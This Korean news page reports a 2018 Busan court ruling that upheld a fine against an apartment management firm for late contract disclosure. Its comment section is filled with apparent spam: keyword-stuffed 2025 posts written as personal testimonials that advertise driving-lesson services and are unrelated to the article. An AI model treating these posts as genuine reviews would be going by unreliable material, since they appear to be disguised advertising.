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상위분류 : 법령정보 | 중위분류 : 판례정보 | 하위분류 : 사업자선정지침 |
작성자 : 문시형 | 작성일 : 2018-06-05 | 조회수 : 4,676 |
계약 체결 후 1개월 이내 계약서를 공개하지 않았다는 이유로 지자체가 내린 과태료 결정에 법원이 정당하다는 결정을 내렸다. 과태료를 받게 된 관리업체는 앞서 관리점검으로 10건의 위반행위에 대해 500만원을 부과 받았고 같은 기간 동안의 일이어서 질서위반행위 경합 시 가장 중한 과태료를 부과한다는 규정에 의거 과태료 200만원 처분이 부당하다고 주장했지만 법원은 별개의 위반행위로 봐야 한다며 받아들이지 않았다.
부산지방법원 제16민사부(재판장 최병준 부장판사)는 최근 경남 창원시 A아파트 위탁관리업체 B사에 대한 과태료처분에 대한 이의 항고심에서 B사를 과태료 200만원에 처한 제1심 결정을 인정, B사의 항고를 기각했다.
관리업체 B사는 2015년 1월부터 그해 9월까지 있었던 공사·용역·보험계약 등 14건의 사업자와 계약 체결 후 1개월 이내에 계약서를 공개하지 않고 민원이 제기되자 2016년 4월 일괄 공개했다.
이에 창원 진해구청으로부터 2017년 5월 22일 과태료 200만원을 부과 받았다. B사는 이의신청을 제기했고 이에 따라 계속된 법원의 사건 심사에서도 과태료 200만원 결정을 받았다. 이에 B사는 이 사건 제1심 법원에 다시 이의를 제기했지만 제1심 법원은 2018년 2월 19일 위반사실이 인정된다며 과태료 200만원을 그대로 유지했다.
B사는 “입주민 1명이 지속적으로 입주자대표회의와 관리주체를 상대로 민원을 제기해 2016년 6월 진해구청이 이 아파트 관리업무에 관해 2015년 1월부터 2016년 6월까지의 점검, 실사를 벌이면서 10여건의 위반행위가 적발돼 과태료 500만원(선행 과태료 처분)을 부과 받았다”며 “진해구가 2017년 5월 22일 부과한 과태료 200만원은 같은 기간 동안에 있었던 위반행위로서 공동주택관리법 시행령 제100조 별표9의 ‘2 이상의 질서위반행위가 경합하는 경우 그 위반행위 중 가장 중한 과태료를 부과한다’는 규정에 의해 이미 200만원보다 중한 500만원의 과태료를 부과 받은 것이어서 부당하다”고 주장했다.
이에 대해 항고심 재판부는 “창원시 진해구가 2016년 7월 27일 과태료 500만원을 부과한 사실은 2017년 5월 22일 과태료 결정의 위반사유와 별개의 위반 사실임이 명백하다”며 B사의 항고주장을 받아들이지 않았다.
B사가 앞서 2016년 7월 진해구로부터 과태료 500만원을 부과 받은 사유는 ▲법정의무교육이 아닌 교육 참석 시 교육비 등 지급 ▲업무편의 위해 관련법령 등 규정하지 않은 각종 협회비 지급 ▲관련 법령 등에 규정하지 않은 하자보수특별위원회 및 하자보수감독수당 지급 ▲장기수선계획에 포함된 항목을 장기수선충당금이 아닌 수선유지비로 지출 ▲관리비 부당집행 ▲사업자 선정지침 위반 등 사유다.
재판부는 “구 주택법 시행령 제122조 별표13의 ‘위반행위가 둘 이상인 경우에는 과태료를 부과한다’는 의미는 이 사건과 같이 수개의 위반행위에 대해 과태료 처분을 할 경우 그 중 무거운 위반행위에 처할 과태료만을 부과하고 나머지 위반행위에 대해 구분해 따로따로 과태료를 부과하지 않는다는 의미이지 이미 별개의 위반행위로 적발돼 부과된 선행 과태료 처분에 흡수돼 과태료 부과를 하지 못한다거나 면제한다는 것은 아니다”라고 판단했다.
B사는 “사실상 사업자 선정결과를 빠짐없이 공개해 계약서를 공개한 것과 동일하다고 볼 수 있고, 대단지의 경우 연간 40건 내지 50건의 크고 작은 계약 건이 있어 관리인원 부족, 관리소장 또는 관리직원의 잦은 이동으로 계약서 공개가 누락되거나 지연 공개되는 상황이 발생하고 있는 현실에 과태료 결정은 부당하다”고도 주장했다.
하지만 재판부는 “공사·용역 등 사업자 선정내역을 공개했어도 구체적인 계약내용을 알 수 있는 계약서 등을 공개하지 않은 이상 구 주택법에서 공개를 의무화한 계약서를 공개했다고 볼 수는 없다”며 1심 결정은 정당하다고 선을 그었다.
이 름 | 입력일 | 수정 | |
내 용 |
Thomas F. Guerrero | 2025-05-30 | |
#복수동 #도마1동 #도마2동 #정림동 #변동 #용문동 #탄방동 #괴정동 #가장동 #내동 장롱면허운전연수, 제주도 자유여행 위해 3일 만에 끝낸 후기서론 제주도 여행, 내 손으로 운전하고 싶었어요친구들과의 제주도 여행이 어느 날 갑자기 확정됐습니다. 일정은 3박 4일. 문제는 렌터카였죠. 면허는 있지만 7년 넘게 운전대를 잡아본 적 없는 저는 장롱면허라는 이름이 무색하지 않을 정도로 완전 초보 상태였습니다. 항상 누군가 옆에 타줘야 안심할 수 있었고, 렌터카는커녕 시동조차 자신이 없었어요. 그런데 친구들은 다같이 운전 바꿔가면서 하자며 아무렇지 않게 말하더군요.그 말에 찔려서 결국 혼자 밤에 고민하다 장롱면허운전연수를 검색하게 되었고, 3일 만에 실전 감각을 끌어올릴 수 있다는 후기를 보고 바로 결심하게 됐습니다. 여행 전 주말을 활용해 운전 연수를 받으면, 이번엔 꼭 제가 직접 제주도 도로를 달릴 수 있겠구나 하는 희망이 생겼거든요.본론 3일 완성, 나를 바꾼 장롱면허운전연수1일차 기본기부터 도로 주행 감각까지 되살리는 시간첫날 강사님과 만나면서 느낀 건, 마치 과외 선생님처럼 친절하고 섬세하다는 점이었습니다.장롱면허운전연수 첫 시간은 차량 조작 기능부터 점검했어요.시동 걸기, 기어 변속사이드미러룸미러 조절방향지시등, 와이퍼, 전조등 등 기능 조작계기판 이해, 경고등 의미오래된 기억을 더듬으며 하나씩 익혀가다 보니, 강사님은 제 수준에 딱 맞게 설명해주시고, 이해되지 않는 부분은 반복해서 시범까지 보여주셨어요.그 후 단지 내 도로에서 저속 주행을 하며 차폭감 익히기, 핸들 조작, 브레이크 밟는 타이밍 조절 등을 연습했는데, 긴장하느라 페달을 자꾸 꾹꾹 밟는 습관을 고치기 위해 손동작까지 보여주시며 부드럽게 컨트롤하는 법을 알려주셨어요. 이 날 가장 큰 수확은 운전은 내가 생각하는 것보다 훨씬 부드럽게 해야 한다는 감각을 되찾은 것이었습니다.2일차 시내 도로 고속주행 감각 익히기둘째 날은 실전 도로 연수였습니다.강사님은 여행 가실 거면 비보호 좌회전, 유턴, 회전교차로는 필수로 익혀야 한다며 다양한 코스를 준비해주셨어요.왕복 2차선 도로교차로에서의 유턴회전교차로 진입과 탈출차선 변경 시 미러 확인 방향지시 진입 타이밍처음에는 차선 변경할 때 뒤에서 오는 차를 볼 줄 몰라 자꾸 망설였는데, 강사님의 반복 연습 덕분에 차가 이렇게 보이면 지금 진입해도 괜찮다는 감이 생기더군요.고속도로는 아니었지만 자동차 전용도로로 진입해 8090kmh 주행 연습도 해보았습니다. 처음엔 속도에 겁먹었지만, 안정적인 직선 주행 연습과 차간 거리 유지, 정속주행 연습을 하며 점점 자신감이 생겼습니다. 실제로 여행 중에도 제가 이 경험을 가장 많이 떠올리며 운전했어요.3일차 제주도 렌터카 대비, 주차 집중 코스여행에서 렌터카를 쓰려면 결국 주차를 잘해야 한다는 생각이 들었어요.그래서 3일차는 강사님께 주차 집중 연수를 요청했어요.후진 주차전면 주차평행 주차특히 평행 주차는 가장 자신 없던 부분인데, 강사님이 핸들 각도, 기준점, 미러 기준 라인까지 눈높이에 맞춰 설명해주셔서 생각보다 빠르게 익힐 수 있었어요. 주차는 공식만 외우면 된다는 말이 정말 실감났습니다.마지막엔 제주도 렌터카에 짐 싣고 아이스크림 사러 가는 걸 상상하며 해보세요!라는 강사님의 농담에 웃으며 연수를 마쳤죠. 그 말처럼 주차에 대한 두려움이 사라진 게 여행에 큰 도움이 되었습니다.결론 장롱면허운전연수 3일, 여행을 바꾸고 나를 바꾸다제주도 여행 때, 저는 친구들이 가장 믿고 맡길 수 있는 드라이버로 거듭났습니다.시골길도, 해안도로도, 공항 렌터카 주차장도 전혀 두렵지 않았어요. 오히려 제가 앞장서서 운전하겠다고 먼저 나설 수 있을 정도였죠.이번 장롱면허운전연수는 단순히 운전 기술을 익히는 데 그치지 않고,스스로에 대한 자신감을 얻고일상 반경을 확장하며실용적이고 평생 쓰이는 능력을 되찾는 경험이었습니다.10시간, 3일.작지만 강한 변화였습니다.여러분도 장롱면허운전연수로 운전대를 다시 잡아보세요.생각보다 쉽고, 그 이상으로 삶이 달라질 수 있습니다. |
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Vertex Corp | 2025-05-29 | |
초보 운전자를 위한 실전 도로 연수 경험서론 장롱면허와 도로 위의 두려움운전면허를 딴 지 9년이 지났지만, 저는 여전히 도로 위에서 자신감을 잃는 장롱면허 소지자였습니다. 면허를 취득했을 때는 친구들과 함께 드라이브를 즐기거나, 자유롭게 도시를 누비는 모습을 상상했지만, 실제로는 운전 경험이 거의 없어 차폭감, 교통 상황, 심지어 기본적인 차선 변경조차 두려웠습니다. 직장에서 동료들이 주말에 차 끌고 어디 다녀왔어?라고 묻는 대화에 끼어들 때마다, 운전을 못하는 제 상황이 부끄럽게 느껴졌습니다. 대중교통이 편리한 도시에 살고 있지만, 차가 있으면 훨씬 더 자유롭고 효율적인 삶을 살 수 있을 것이라는 생각이 점점 강해졌습니다. 유튜브로 운전 팁을 찾아보고, 한적한 주차장에서 혼자 연습해봤지만, 혼자서는 도로 위의 복잡한 상황을 감당할 자신이 없었습니다. 그러던 중, 장롱면허운전연수라는 프로그램을 알게 되었습니다. 초보 운전자로서 도로 위에서 당당해지고, 실전 운전 기술을 익히고 싶다는 목표를 이루기 위해 전문가의 도움을 받아보기로 결심했습니다.본론 장롱면허운전연수로 실전 도로 운전 마스터장롱면허운전연수를 선택할 때 가장 중요했던 건 초보 운전자의 두려움을 이해하고, 실전 도로 상황에 맞춘 체계적인 훈련을 제공하는 프로그램이었습니다. 온라인에서 여러 업체를 비교하며 후기를 꼼꼼히 읽었습니다. 도로 주행이 무서웠는데, 연수 덕분에 자신감이 생겼다는 후기와 강사님의 친절한 지도로 실전 기술을 빠르게 익혔다는 평가가 많은 업체를 발견했고, 10시간 집중 코스가 3일 만에 끝난다는 점이 직장인인 저에게 적합했습니다. 비용은 자차 이용 시 29만원, 연수용 차량은 승용차 32만원, SUV 34만원으로, 유류비와 보험비가 포함된 합리적인 가격이라고 판단해 바로 등록했습니다. 연수용 차량에는 조수석에 보조 브레이크가 장착되어 있어 실수에 대한 걱정을 덜 수 있었고, 실전 도로에서 자신감 있게 운전할 수 있다는 기대감이 컸습니다. 드디어, 장롱면허운전연수를 통해 초보 운전자로서의 한계를 극복하고 실전 운전 기술을 익히는 여정이 시작되었습니다.1. 첫날 기초 다지기와 도로 주행 준비장롱면허운전연수 첫날은 운전의 기초를 다지며 실전 도로 주행을 위한 준비를 하는 시간이었다. 강사님은 먼저 제 운전 경험과 두려움의 원인을 파악하기 위해 대화를 나눴습니다. 도로에서 어떤 점이 가장 무섭나요?라는 질문에, 저는 차선 변경할 때 타이밍을 못 맞출까 봐 겁나고, 복잡한 교차로가 두려워요라고 답했습니다. 강사님은 도로 주행은 연습으로 익히는 기술이에요. 초보 운전자라도 단계별로 배우면 충분히 잘할 수 있어요라며 저를 안심시켰습니다. 수업은 넓은 공터에서 시작되었고, 운전 자세, 시트 조정, 사이드미러와 룸미러 설정 같은 기본부터 점검했다. 도로에서는 사각지대를 자주 확인해야 하니, 미러를 정확히 조정하는 습관을 들이세요라는 팁은 실전 주행의 첫걸음에 큰 도움이 되었다. 이어서, 기어 조작, 페달 조절, 방향지시등 사용 같은 기본 동작을 연습하며 운전 감각을 되찾았다. 첫날의 마지막에는 한적한 동네 도로에서 저속 주행을 시도했고, 시야를 넓게 유지하고, 차선 중앙을 따라가세요라는 강사님의 조언이 긴장을 풀어주었다. 연수용 차량의 보조 브레이크 덕분에 실수에 대한 부담이 줄었고, 실전 도로 주행에 대한 두려움이 조금씩 사라졌다.2. 둘째 날 시내 도로 주행과 실전 기술 연습둘째 날은 시내 도로 주행을 통해 실전 운전 기술을 익히는 시간이었다. 장롱면허운전연수의 두 번째 목표는 복잡한 도로 환경에 적응하고, 초보 운전자로서 자신감 있게 운전하는 법을 배우는 것이었다. 아침에는 시내 도로로 나가 차선 변경, 신호 준수, 보행자 확인 같은 기술을 연습했다. 강사님은 시내 주행에서는 주변 차량과 보행자를 항상 관찰해야 해요라며, 깜빡이를 켜고, 사각지대를 확인한 뒤 부드럽게 차선을 바꾸세요라는 지시를 주셨다. 처음에는 차량이 많은 도로에서 다른 운전자들의 속도가 부담스러웠지만, 강사님의 당신의 페이스대로 천천히 하세요라는 격려가 큰 힘이 되었다. 특히, 회전교차로와 비보호 좌회전은 초보 운전자로서 가장 어려웠던 부분이었는데, 회전교차로에서는 진입 전 차량을 확인하고, 비보호 좌회전에서는 반대편 차량의 속도를 예측하세요라는 체계적인 설명이 큰 도움이 되었다. 오후에는 직장 근처로 목적지를 설정해 주행하며 실전 감각을 다졌다. 네비게이션을 따라가며 다음 교차로에서 좌회전하세요라는 강사님의 지시를 따랐고, 차선 변경과 신호 대기를 성공적으로 수행하며 이제 도로가 익숙해졌죠?라는 칭찬을 받았다. 이날 연습을 마친 후, 시내 도로를 무사히 주행한 성취감은 초보 운전자로서의 자신감을 크게 키워주었다.3. 마지막 날 종합 주행과 주차 기술 완성장롱면허운전연수의 마지막 날은 다양한 도로 환경에서의 종합 주행과 주차 훈련으로 실전 운전 기술을 완성하는 시간이었다. 아침에는 시내 도로와 자동차 전용도로를 포함한 종합 주행을 진행했다. 강사님은 도로 환경이 바뀌어도 침착하게 운전하는 게 중요해요라며, 속도를 일정하게 유지하고, 항상 3초 이상의 안전 거리를 두세요라는 팁을 주셨다. 특히, 어린이 보호 구역에서는 속도를 20kmh 이하로 낮추고, 보행자를 항상 확인하세요라는 지침을 따라 안전 운전의 중요성을 되새겼다. 오후에는 주차 연습에 집중했다. 강사님은 실전 도로 주행만큼 주차도 필수 기술이에요라며, 후진 주차는 핸들을 45도 돌리고, 미러로 주차선과 차체의 간격을 확인하세요라는 공식을 알려주셨다. 평행 주차와 전면 주차도 반복 연습을 통해 익혔고, 주차 후에는 차량의 위치를 다시 확인하고, 필요하면 조정하세요라는 실용적인 조언을 실천했다. 연수 마지막에는 대형 쇼핑몰로 목적지를 설정해 주행하고, 주차장에서 평행 주차를 성공적으로 마무리했다. 강사님은 이제 어떤 도로에서도 초보 운전자라는 꼬리표를 뗄 수 있을 거예요라며 미소를 지으셨고, 이 말은 실전 도로 주행에 대한 두려움을 완전히 날려준 확신이었다.결론 장롱면허운전연수로 찾은 실전 운전의 자신감장롱면허운전연수를 마친 후, 저는 더 이상 도로를 두려워하는 장롱면허 소지자가 아니었습니다. 예전에는 복잡한 도로와 차선 변경에 겁을 먹었던 제가, 이제는 자신 있게 시내를 누비며 운전의 즐거움을 느낍니다. 무엇보다, 운전이 주는 자유와 독립성을 만끽하며 삶의 반경이 훨씬 넓어진 것이 가장 큰 수확이었습니다. 장롱면허운전연수는 단순히 운전 기술을 가르쳐준 것을 넘어, 초보 운전자로서의 자신감을 심어준 소중한 경험이었다. 강사님의 체계적인 지도와 따뜻한 격려가 없었다면, 저는 여전히 대중교통에 의존하며 운전을 꿈만 꾸고 있었을 것이다. 이제 저는 주말마다 새로운 목적지를 찾아 드라이브를 즐기고, 동료들과의 대화에서도 당당히 운전 경험을 공유한다. 도로 위에서 망설이는 초보 운전자, 특히 장롱면허에서 벗어나고 싶은 분들께, 장롱면허운전연수에 도전해보시라고 자신 있게 추천한다. 단 3일의 시간이 여러분을 실전 도로의 주인공으로 만들어줄 것이다. | |||
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Stormshade | 2025-05-29 | |
지방 출근을 위해 선택한 현실형 탈출, 장롱면허운전연수 3일 리얼 후기서론서울 본사에서 일하다가 최근 본격적인 이직을 하게 되었습니다.기회는 좋았지만 조건이 하나 있었죠. 바로 근무지가 경기도 외곽이었습니다.대중교통도 있긴 했지만, 출퇴근 소요 시간이 2시간 가까이 걸린다는 말에 고민이 시작됐습니다.운전은 할 줄 알잖아?맞습니다. 면허는 9년 전에 취득했죠. 문제는 실전 경험이 전무하다는 점입니다.운전대를 마지막으로 잡은 게 도로주행 시험날이었으니, 이름 그대로 진성 장롱면허.이 상태로 출퇴근을 하겠다고 나서는 건 너무 위험한 시도 같았어요.그래서 실전 감각을 되살릴 방법을 찾던 중, 맞춤형으로 연습할 수 있다는 장롱면허운전연수를 알게 됐습니다.본론1일차 감각 깨우기 시동부터 차선 유지까지강사님과 첫 대면은 퇴근 후 저녁 7시.연수용 차량은 깨끗하게 정비돼 있었고, 보조석에는 브레이크가 설치되어 있어 첫날부터 안심이 됐습니다.오늘은 감각 깨우기 위주로 진행합니다.우선 차량의 기본 구조부터 체크했습니다. 시트 포지션 맞추기, 사이드미러 조절, 핸들 각도, 비상등 위치 등머리로는 알고 있던 것들을 손으로 하나씩 다시 익히는 시간이었죠.그 후에는 근처 공터로 이동해 직진정지, 커브 코너링, 후진 등을 반복하며 감각을 익혔습니다.특히 브레이크 밟는 타이밍을 익히는 게 어려웠지만, 장롱면허운전연수의 장점은 반복 훈련에 있다는 걸 실감했어요.처음엔 자꾸 덜컥거렸지만, 어느새 부드럽게 정지선에 딱 맞춰 멈추는 자신을 발견했습니다.2일차 출퇴근 루트 미리 돌기둘째 날엔 드디어 실제 출퇴근 경로를 주행해보았습니다.네비게이션을 켜고 회사 주소를 찍고 출발해봅시다라는 말에 두근거림이 밀려왔죠.가장 먼저 마주친 건 교차로와 차선 변경.급차선 변경 차량, 무리한 진입 등 다양한 상황이 펼쳐졌지만, 강사님은 언제나 옆에서 코칭해주며 이 타이밍입니다라고 정확한 포인트를 짚어주셨어요.특히 복잡한 T자형 교차로나 비보호 좌회전 구간은 초보자에게 가장 까다로운 포인트인데,장롱면허운전연수에서는 해당 구간만 집중 반복할 수 있도록 연습 코스를 다시 짜주셨어요.다른 학원 같았으면 정해진 코스만 돌고 끝났을텐데, 실전 위주의 맞춤 진행이 정말 큰 도움이 됐습니다.출근지 도착 후엔 회사 주변 유턴구간, 주차장 진입 경로까지 꼼꼼히 함께 확인했고,돌아오는 길에는 강사님의 개입 없이 스스로 진입 타이밍과 차선 조절을 해보며 주행을 마쳤습니다.3일차 주차 돌발 상황 시뮬레이션셋째 날은 주차 집중과 돌발 상황 대처를 중심으로 구성됐습니다.마트 지하주차장, 골목길 좁은 주차장, 후진 진입이 필요한 공간 등 다양한 형태의 공간에서 주차 연습을 했습니다.공식에 따라 미러 각도를 보고 핸들을 돌리니 어라, 주차가 되네? 하는 순간이 오더라고요.특히 제가 몰랐던 점은 전면주차보다 후진주차가 초보자에겐 더 쉽다는 사실.장롱면허운전연수 강사님이 실제 도로 경험을 바탕으로 주차 요령을 세세히 알려주시니,혼자선 절대 깨달을 수 없었던 부분들을 빠르게 습득할 수 있었습니다.그리고 마지막 30분은 혼자서 모든 걸 해보는 테스트 시간.출발부터 주행, 차선 변경, 골목 진입, 후진 주차까지 제가 직접 계획하고 움직이며 연수를 마무리했습니다.처음 시동 걸던 손의 떨림은 사라지고, 어느새 제가 차와 하나가 되어 있는 느낌이었어요.결론지금은 매일 아침 자차로 출근하고 있습니다.사무실 도착해서 아직 익숙하지 않은 손으로 주차를 하고, 조수석에 놓인 커피를 한 모금 마시는 순간,내가 드디어 운전자가 됐구나 하는 감정이 밀려옵니다.장롱면허운전연수는 단순한 운전 기술을 넘어서,수년간 굳어 있던 두려움과 혼란을 깨고 현실로 나아갈 수 있는 강력한 전환점이 되어주었습니다.운전, 더 이상 미루지 마세요.아직도 핸들을 쥐는 게 막막하신 분이라면, 지금 이 순간이 도전할 가장 좋은 타이밍입니다. | |||
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Jose D. Brown | 2025-05-29 | |
수성구 매호동, 동구 지묘동, 달서구 월성동, 달성군 본리읍 동구 도학동, 달성군 화원읍, 동구 중대동 경산시 남천면, 칠곡군 왜관읍, 청도군 이서면 경산시 하양읍, 영천시 고경면, 고령군 다산면, 청도군 화양읍 택배 기사 준비하며 받은 실전형 연수, 내 인생의 전환점취업난이 심해질수록 내게 맞는 직업이 뭘까 깊이 고민하게 되었습니다. 회사 생활을 오래 해보니 조직생활의 피로도도 높았고, 무엇보다 자유롭게 일정을 조절하며 내 수익을 만들 수 있는 직업이 필요했죠. 그러다 눈에 들어온 게 바로 택배 기사 일이었습니다. 체력은 자신 있었고 부지런한 성격이라 괜찮겠다 싶었지만 문제는 단 하나, 운전이었습니다.면허는 10년 전에 취득했지만 그동안 거의 운전을 안 해본 전형적인 장롱면허였거든요. 회사 다닐 땐 지하철만 탔고, 주말에도 운전할 일이 없으니 계속 미뤄졌던 거죠. 그런데 택배 일을 하려면 매일 골목길과 복잡한 주차를 감당해야 했기에, 이대로는 시작조차 못 하겠다는 판단이 들었습니다. 결국 결심했습니다. 지금 아니면 영영 운전을 못 하겠다. 그렇게 찾은 곳이 바로 장롱면허운전연수 전문 업체였습니다.제가 선택한 연수 코스는 3일 완성, 총 10시간 프로그램이었고, 강사님이 직접 제 집 근처까지 방문해주시는 시스템이라 시간 조율도 수월했어요. 자차도 없었기 때문에 연수용 차량으로 신청했고, 비용은 32만 원이었습니다. 솔직히 가격보다 더 신경 쓴 건 내가 지금 이걸로 인생을 바꾸고 있다는 절박함이었어요.첫날엔 기본기 다지기. 기어 조작, 사이드미러 각도, 브레이크 감도까지 전부 다 새롭게 배웠습니다. 택배 차량도 대부분 1톤 탑차라 크기감각이 중요한데, 연수 차량으로 충분히 감각을 익힐 수 있었어요. 장롱면허운전연수 강사님은 제게 맞는 자세, 팔 길이와 핸들 거리까지 꼼꼼히 봐주셨고요. 솔직히 처음엔 후진도 무서웠는데, 반복 연습 덕분에 첫날만에 차선 유지는 확실히 잡았습니다.둘째 날은 실전 주행 중심. 강사님과 함께 실제 택배 루트 비슷한 코스를 돌았어요. 골목길, 이면도로, 교차로, 그리고 유턴과 비보호 좌회전까지. 특히 가장 어려웠던 건 좁은 골목길에 주차된 차들 사이를 지날 때였습니다. 그런데 장롱면허운전연수 강사님은 브레이크 타이밍, 핸들 꺾는 각도, 보조미러 활용법까지 진짜 현장 실전에 맞춰 설명해주셨고, 저는 그걸 몸으로 익혀 나갔죠. 덕분에 자신감이 붙었습니다. 아, 나 이거 해볼 수 있겠구나.셋째 날은 주차 집중 코스. 택배 일 하려면 주차가 생명입니다. 하루에도 수십 번은 해야 하니까요. 후진주차, 평행주차, 전면주차까지 반복 연습했습니다. 강사님이 알려준 공식은 간단했고, 반복해서 연습하다보니 어느새 주차가 재밌다는 생각까지 들더라고요. 특히 평행주차는 차간 거리 계산과 핸들 회전 타이밍이 핵심인데, 이걸 눈으로 보고 몸으로 기억하게 만든 게 정말 큰 수확이었습니다.마지막 날, 강사님이 그러셨어요. 이제는 택배기사 일 시작해도 됩니다. 오늘처럼만 하면 문제 없어요. 그 말 한마디에 가슴이 뭉클했어요. 장롱면허운전연수를 받지 않았다면 저는 아마 아직도 출근길 지하철 안에서 머뭇거리고 있었을지도 모릅니다.지금은 실제로 배송업체 계약도 마쳤고, 중고 1톤 차량도 마련했습니다. 처음엔 하루 배송량 30개로 시작했는데, 점점 익숙해지면서 요령도 생기고 이제는 수입도 안정화되고 있어요. 하루하루를 주체적으로 살아가는 느낌이랄까요.제가 드리고 싶은 말은 하나입니다.운전이 두려워서, 자신이 없어서 꿈을 포기하려 한다면 반드시 장롱면허운전연수를 받으세요.그건 단순한 운전 연수가 아니라, 삶의 방향을 바꾸는 준비 과정이 될 수도 있습니다.그렇게 저도 운전대를 잡고, 인생의 방향을 바꾸었습니다.다시 시작하고 싶은 당신에게도, 이 경험을 추천합니다. |
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내 용 |
Geraldine J. Million | 2025-05-29 | |
수성구 매호동, 동구 지묘동, 달서구 월성동, 달성군 본리읍 동구 도학동, 달성군 화원읍, 동구 중대동 경산시 남천면, 칠곡군 왜관읍, 청도군 이서면 경산시 하양읍, 영천시 고경면, 고령군 다산면, 청도군 화양읍 캠핑카 운전 초보탈출기10시간 집중 연수 후기서론안전 제일보조브레이크가 있어 든든늘 꿈꿔왔던 캠핑카 여행을 마침내 현실로 만들기 위해, 저는 장롱면허운전연수 10시간 과정을 신청했습니다. 면허증은 손에 쥐고 있었지만, 캠핑카라는 큰 차체 앞에서는 자신감이 한없이 떨어지더군요.텐트 설치 다음으로 중요한 것이 바로 차 몰기였습니다. 좁은 캠핑장 진입로, 경사진 오프로드, 캠핑카 특유의 주차법까지 이 모든 것을 단기간에 마스터해야만 진정한 캠퍼가 될 수 있었습니다. 그래서 10년 가까이 사용하지 않던 제 면허증을 꺼내들고, 11 맞춤 출장 연수로 유명한 장롱면허운전연수를 찾게 되었습니다.본론1. 왜 캠핑카인가, 그리고 왜 출장 연수인가?평소 자동차 동호회 활동을 하며 가벼운 RV 여행을 꿈꾸던 저는, 마침내 캠핑카를 구매하게 되었습니다. 그러나 막상 문 앞에 서 있는 거대한 차체를 마주하니 내가 과연 운전할 수 있을까?라는 불안감이 엄습했습니다.캠핑카의 특징 길이 67m, 폭 2.2m에 달하는 차체도전 과제 좁은 진입로, 급경사 오르내리기, 후진 주차필요 역량 기초 조작 시내도로 주행 비포장 도로 적응 주차 스킬이런 불안함을 해결하려면 전문 강사에게 빠른 시간에 몰아봐야 한다고 판단했습니다. 출퇴근 후에 학원에 다니기엔 시간과 체력이 부족했고, 친구에게 배우기엔 캠핑카 특수성이 해결되지 않았죠. 출장 연수를 선택한 이유입니다.2. 장롱면허운전연수 선택 포인트출장 연수형강사님이 원하는 시간대와 장소로 직접 방문차량 이동 부담 無, 퇴근 직후 바로 수업 가능맞춤형 커리큘럼기초 이론 기능 조작 실전 주행 캠핑카 특화 주차취약 부분 집중 보강, 강사 교체추가 연수 유연 지원안전 장치 구비안전 제일보조브레이크가 있어 든든조수석 보조브레이크, 종합보험 포함합리적 비용10시간 기준 자차 29만 원 연수용 승용차 32만 원 SUV 34만 원수많은 후기 중에서도 캠핑카 운전 수강생들의 만족도가 특히 높았던 것이 결정적이었습니다. 저와 같은 장롱면허를 깨운 분들의 경험담이 큰 용기를 주었죠. 결국 저는 3일 코스로 장롱면허운전연수를 신청했습니다.3. 1일차 기초 조작 캠핑카 첫 주행목표 캠핑카 전반적 기능 파악 공터 주행으로 감각 익히기31. 강사님과의 첫 만남퇴근 후 약속 장소에 도착하자, 베테랑 강사님이 밝은 미소로 맞아주셨습니다. 간단히 제 경험과 목표를 듣더니 곧바로 커리큘럼을 설명해주셨죠. 캠핑카는 일반 승용차와 다른 점이 많아요. 급출발급제동급회전은 금물입니다라는 한마디가 기억에 남습니다.32. 차량 기능 완전 정복계기판 경고등 적색황색 경고등 식별조작 장치 전조등, 방향지시등, 비상등, 와이퍼시트핸들 포지션 장시간 운전 편안한 자세공조 시스템 외기내기순환, 공기청정 필터 교체 주기캠핑카 특화 슬라이딩 도어수납함 잠금 장치시동 전 차량 내부를 일일이 설명받고 기능을 직접 작동해보았습니다. 작은 조작 하나도 캠핑카에선 생명이 될 수 있다는 걸 실감했죠.33. 공터 주행으로 예비 연습한적한 공터로 이동해 기본 주행 연습에 돌입했습니다.악셀브레이크 테스트 반응 속도제동 거리 확인차폭감 익히기 하이트와이드한 차량 폭 적응저속 커브 연습 핸들 각도스피드 조절긴급 제동 연습 안전 제일보조브레이크가 있어 든든을 체감강사님은 보조브레이크를 체계적으로 설명하며 위급 상황 시 어떻게 개입하는지 직접 보여주셨습니다. 처음엔 의존하다가 나중엔 깜빡할 정도라는 말씀에 마음이 놓이더군요.4. 2일차 시내도로 캠핑장 진입로 실전목표 실제 도로 주행 오프로드언덕길 적응 캠핑장 입구 진입41. 시내도로 주행차선변경 깜빡이 켜기후방 사각지점 챙기기부드럽게 진입교차로 대응 직진좌우회전비보호좌회전 요령보행자 보호구역 어린이노인보호구역 규정 속도 준수강사님과 함께 애견병원부터 번화가를 경유해 캠핑장 진입로로 향했습니다. 멀끔한 도로와는 달리, 화물차버스사람이 뒤섞인 거리에서의 방어운전이 핵심이었어요.42. 언덕길오프로드 도전캠핑장 진입로는 비포장도로와 경사진 흙길이었습니다.언덕 올라가기 엑셀을 부드럽게 밟으며 RPM 2,0002,500 유지내리막 주행 엔진 브레이크 활용, 과도한 제동 자제돌출 바위고르지 못한 노면 저속 510kmh로 진행처음 맞닥뜨린 비포장 오프로드 구간에서 캠핑카가 한쪽으로 쏠릴 때마다 심장이 두근거렸지만, 강사님의 여유로운 코칭 덕분에 무사히 통과할 수 있었습니다.43. 캠핑장 입구 주차 연습캠핑장 첫 진입 시 좁은 길목과 나무 그루터기가 위협적이었습니다.슬로프 각도 파악 핸들 각도 조정후진 주차 보조브레이크로 제동 보조전면주차 캠핑카 앞 지지대 위치 확인강사님은 후진 카메라와 룸미러를 교차 확인하며 박스 안에 차를 들여보는 연습을 시켜주셨습니다. 세 번의 시도 끝에 딱 맞게 들어가던 순간, 캠핑카 운전의 진정한 재미를 느꼈습니다!5. 3일차 고급 주차술 최종 피드백목표 평행주차갓길주차 완벽 마스터 개인 약점 보완 자율 주행 자신감 상승51. 평행주차 갓길주차평행주차 공식 ① 옆차와 차량 앞일직선 위치 ② 핸들 최댓값 틀기 ③ 후진 정렬갓길주차 도심 골목길산길 진입 후 안전지대 확보강사님은 평행주차 시뮬레이션을 먼저 시범 보이시고, 제가 해볼 때마다 즉각 피드백을 주셨습니다. 갓길주차는 주차선이 없는 곳에서도 안전하게 사이드미러로 거리 체크하는 요령을 알려주셨죠.52. 총체적 피드백 QA노면 표시 읽어내기도로 상황별기상 조건별 운전 팁캠핑카 관리정비 요령마지막 시간에는 운전 실수 리스트를 점검하며, 더 연습하고 싶은 구간과 빈틈없이 활용 가능한 팁을 나눠주셨습니다.결론10시간의 장롱면허운전연수를 통해 저는 단순히 면허증을 꺼내 든 초보에서 벗어나, 캠핑카로 인생의 새로운 페이지를 활짝 연 진정한 드라이버가 되었습니다.안전 제일보조브레이크가 있어 든든 이라는 믿음으로 마음 편하게 도전맞춤형 11 커리큘럼 덕분에 취약점을 집중 